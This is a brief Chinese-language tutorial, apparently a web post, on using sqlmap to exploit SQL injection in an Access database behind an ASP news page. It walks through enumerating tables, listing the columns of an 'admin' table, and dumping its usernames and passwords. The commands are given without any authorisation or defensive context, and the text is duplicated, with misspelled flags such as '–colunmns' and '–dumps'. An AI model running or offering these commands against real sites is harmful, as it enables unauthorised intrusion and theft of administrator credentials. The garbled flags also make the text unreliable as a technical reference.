sqlmap怎么注入ACCESS数据库

sqlmap怎么注入ACCESS数据库

跑表，命令是sqlmap –u “url/NewsShow.asp?id=69” –tables。
遇到这个，可以直接选择回车。


等到了这里，选择线程1到10开始扫表，也可以在出现admin这个表的时候按下ctrl+c就可以终止然后就获取表。


然后直接再次输入命令sqlmap –u “url/NewsShow.asp?id=69” –colunmns –T admin。


得到了里面的字段username password id，然后直接跑字段内容sqlmap –u “url/NewsShow.asp?id=69” –dumps –T admin –C “username,password”。

然后一路还是回车。到了下图所示，还是选择线程1到10最后跑出了用户名、密码。

首先我们先来跑表
命令是sqlmap –u “url/NewsShow.asp?id=69” –tables

一路上大家遇到这个

可以直接选择回车
等到了这里

大家选择线程1到10
开始扫表。你也可以在出现admin这个表的时候按下ctrl+c就可以终止然后就获取表

然后我们直接再次输入命令sqlmap –u “url/NewsShow.asp?id=69” –colunmns –T admin

然后得到了里面的字段username password id
然后我们直接跑字段内容sqlmap –u “url/NewsShow.asp?id=69” –dumps –T admin –C “username,password”

然后一路还是回车。到了

还是选择线程1到10
最后跑出了用户名。密码